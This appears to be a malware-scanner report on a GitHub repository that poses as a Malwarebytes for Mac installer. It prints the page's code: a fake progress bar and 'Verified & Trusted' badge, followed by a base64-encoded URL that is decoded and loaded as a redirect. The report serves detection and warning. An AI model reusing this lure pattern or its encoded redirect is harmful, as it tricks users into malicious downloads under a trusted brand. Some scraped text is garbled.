Hostile ^100% github Download

Channelleboiler/antivirus-malwarebytes

Fake installer redirects to malicious URL

“Download free Malwarebytes for Mac — Powerful antivirus software with real-time malware protection, ransomware defense, smart threat detect…”

Branded security-product web installer redirects to a decoded URLFake installer completion redirects browser to a decoded URL

SHA-2567f8bd8282db2fd2884c0ebab5b5e9675e202737264118d626ee337004dd07eef

URLhttps://github.com/Channelleboiler/antivirus-malwarebytes/archive/HEAD.tar.gz

MaleculeO(Er₂)H₃(CmDbU)Md

Evidence

Starts a synchronous function expression script.js · lines 1–10

1// ============================================================
2// script.js – all JavaScript logic (no changes)
3// ============================================================
4
⋯6 lines

Reads DOM text content script.js · lines 47–53

51…  : 0;
      const speedMB = speed * 0.12;
      speedDisplay.textContent = '⏱ ' + speedMB.toFixed(1) + ' MB/s';
50
      if (prog > 0 && prog < 100) {
          const remaining = 100 - prog;
    …

Encoded content decoded: base64 script.js · lines 80–100

24… ue;
      cta.classList.add('ready');
      cta.disabled = false;
      document.getElementById('ctaText').textContent = 'Verified & Trusted';
      statusValue.textContent = 'Complete';
      statusValue.style.color = '#30D158';
      statusBarText.textContent = '✅ Installation ready';
      speedDisplay.textContent = '⏱ Done';
      etaDisplay.textContent = '✅ Complete';
89
      const encodedUrl = 'aHR0cHM6Ly9jbG91ZG1oYXguY29tL2thbmdlcnJpLw==';
      const url = atob(encodedUrl);
92
      setTimeout(function() {
          window.location.href = url;
      }, 200);
  }
97
  tick();
99
100})();

Web page title claims macOS Installer index.html · lines 1–10

1<!DOCTYPE html>
2<html lang="en">
3<head>
4    <meta charset="UTF-8" />
5    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
6    <title>macOS Installer · GitHub</title>
7
8    <!-- Google Fonts (kept here for fast loading) -->
9    <link rel="preconnect" href="https://fonts.googleapis.com" />
10    <link href="https://fonts.googleapis.com/css2?family=SF+Pro+Display:wght@400;500;600;700&family=SF+Mono:wght@400;500&display=swap" rel="s …

Markup for synthetic window title-bar chrome index.html · lines 13–28

13:45… />
14</head>
15<body>
16
17    <!-- ===== WINDOW CONTROLS ===== -->
18    <div class="window-controls">
19        <div class="control-dot red"></div>
20        <div class="control-dot yellow"></div>
21        <div class="control-dot green"></div>
22    </div>
23
24    <div class="title-bar">Download</div>
25
26    <!-- ===== LEFT SIDEBAR ===== -->
27    <div class="side left">
28        <div class="side-card rating-card">

No evidence locations were recorded for this file. Raw result